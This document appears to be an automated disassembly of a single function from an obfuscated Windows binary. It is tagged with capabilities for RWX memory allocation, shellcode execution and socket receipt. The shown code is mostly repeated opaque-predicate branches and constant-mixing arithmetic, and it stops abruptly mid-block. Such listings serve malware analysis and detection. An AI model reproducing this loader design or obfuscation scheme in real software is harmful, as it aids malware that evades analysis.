Function at 0x1400031a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], rdx
mov dword [rbp + 0x3c], ecx
sub rsp, 0x20
call sym.__main
add rsp, 0x20
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400031f8
jmp 0x1400060a1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000322a
jmp 0x140006dd4
mov r9, qword [rbp + 0x30]
mov r11d, dword [rbp + 0x3c]
mov eax, 0x10
mov qword [rbp + 8], rax
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rsi, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov r10, rsp
mov qword [rbp - 0x30], r10
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov r8, rsp
mov qword [rbp - 0x28], r8
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rdx, rsp
mov qword [rbp - 0x20], rdx
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rcx, rsp
mov qword [rbp + 0x18], rcx
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rcx, rsp
mov qword [rbp - 0x18], rcx
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rdi, rsp
mov qword [rbp - 0x10], rdi
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rdi, rsp
mov qword [rbp - 8], rdi
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rdi, rsp
mov qword [rbp], rdi
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 8]
mov rdi, rsp
mov qword [rbp + 0x10], rdi
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rdi, rsp
mov qword [rbp + 0x20], rdi
mov dword [rsi], 0
mov dword [r10], r11d
mov qword [r8], r9
mov edx, dword [rdx]
and edx, 3
mov dword [rax], edx
mov dword [rcx], 0
cmp dword [rax], 0
sete al
mov byte [rbp + 0x2f], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000335c
jmp 0x140006dd4
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000338e
jmp 0x1400060a1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400033c0
jmp 0x140006e59
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400033f2
jmp 0x140006e59
mov al, byte [rbp + 0x2f]
test al, 1
jne 0x140003402
jmp 0x1400035b1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003434
jmp 0x140006e5e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003466
jmp 0x140006e5e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003498
jmp 0x14000618a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400034ca
jmp 0x140006e63
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003516
jmp 0x140006e63
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003548
jmp 0x14000618a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000357a
jmp 0x140006e82
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400035ac
jmp 0x140006e82
jmp 0x140003a9e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400035e3
jmp 0x140006e87
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003615
jmp 0x140006e87
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003647
jmp 0x14000620d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003679
jmp 0x140006e8c
mov rax, qword [rbp + 0x18]
cmp dword [rax], 1
sete al
mov byte [rbp - 0x31], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400036b8
jmp 0x140006e8c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400036ea
jmp 0x14000620d
mov al, byte [rbp - 0x31]
test al, 1
jne 0x1400036fa
jmp 0x1400037e1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000372c
jmp 0x140006e91
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000375e
jmp 0x140006e91
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003790
jmp 0x140006276
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400037dc
jmp 0x140006276
jmp 0x140003a99
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003813
jmp 0x140006295
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003845
jmp 0x140006e96
mov rax, qword [rbp + 0x18]
cmp dword [rax], 2
sete al
mov byte [rbp - 0x32], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003884
jmp 0x140006e96
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400038b6
jmp 0x140006295
mov al, byte [rbp - 0x32]
test al, 1
jne 0x1400038c6
jmp 0x1400038e5
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
jmp 0x140003968
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003917
jmp 0x1400062fe
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003963
jmp 0x1400062fe
jmp 0x140003968
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000399a
jmp 0x14000631d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400039cc
jmp 0x140006e9b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400039fe
jmp 0x140006e9b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003a30
jmp 0x14000631d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003a62
jmp 0x140006ea0
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003a94
jmp 0x140006ea0
jmp 0x140003a99
jmp 0x140003a9e
mov rax, qword [rbp + 0x18]
cmp dword [rax], 0
jne 0x140003bf6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003add
jmp 0x140006ea5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003b0f
jmp 0x140006ea5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003b41
jmp 0x140006386
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003b8d
jmp 0x140006386
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003bbf
jmp 0x140006eaa
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003bf1
jmp 0x140006eaa
jmp 0x1400042c7
mov rax, qword [rbp + 0x18]
cmp dword [rax], 1
jne 0x140003d4e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003c35
jmp 0x140006409
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003c67
jmp 0x140006eaf
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003cb3
jmp 0x140006eaf
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003ce5
jmp 0x140006409
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003d17
jmp 0x140006ece
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003d49
jmp 0x140006ece
jmp 0x1400041fa
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003d80
jmp 0x140006ed3
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003db2
jmp 0x140006ed3
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003de4
jmp 0x14000648c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003e16
jmp 0x140006ed8
mov rax, qword [rbp + 0x18]
cmp dword [rax], 2
sete al
mov byte [rbp - 0x33], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003e55
jmp 0x140006ed8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003e87
jmp 0x14000648c
mov al, byte [rbp - 0x33]
test al, 1
jne 0x140003e97
jmp 0x140003fe2
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003ec9
jmp 0x140006edd
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003efb
jmp 0x140006edd
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003f2d
jmp 0x1400064f5
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003f79
jmp 0x1400064f5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003fab
jmp 0x140006ee2
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140003fdd
jmp 0x140006ee2
jmp 0x1400040c9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004014
jmp 0x140006ee7
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004046
jmp 0x140006ee7
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004078
jmp 0x140006578
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400040c4
jmp 0x140006578
jmp 0x1400040c9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400040fb
jmp 0x140006eec
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000412d
jmp 0x140006eec
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000415f
jmp 0x140006597
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004191
jmp 0x140006ef1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400041c3
jmp 0x140006ef1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400041f5
jmp 0x140006597
jmp 0x1400041fa
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000422c
jmp 0x140006600
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000425e
jmp 0x140006ef6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004290
jmp 0x140006ef6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400042c2
jmp 0x140006600
jmp 0x1400042c7
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400042f9
jmp 0x140006efb
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000432b
jmp 0x140006efb
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000435d
jmp 0x140006605
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000438f
jmp 0x140006f00
mov rax, qword [rbp + 0x18]
cmp dword [rax], 0
sete al
mov byte [rbp - 0x34], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400043ce
jmp 0x140006f00
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004400
jmp 0x140006605
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004432
jmp 0x140006f05
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004464
jmp 0x140006f05
mov al, byte [rbp - 0x34]
test al, 1
jne 0x140004474
jmp 0x140004623
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400044a6
jmp 0x140006f0a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400044d8
jmp 0x140006f0a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000450a
jmp 0x14000666e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000453c
jmp 0x140006f0f
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004588
jmp 0x140006f0f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400045ba
jmp 0x14000666e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400045ec
jmp 0x140006f2e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000461e
jmp 0x140006f2e
jmp 0x140004dcc
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004655
jmp 0x140006f33
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004687
jmp 0x140006f33
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400046b9
jmp 0x1400066f1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400046eb
jmp 0x140006f38
mov rax, qword [rbp + 0x18]
cmp dword [rax], 1
sete al
mov byte [rbp - 0x35], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000472a
jmp 0x140006f38
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
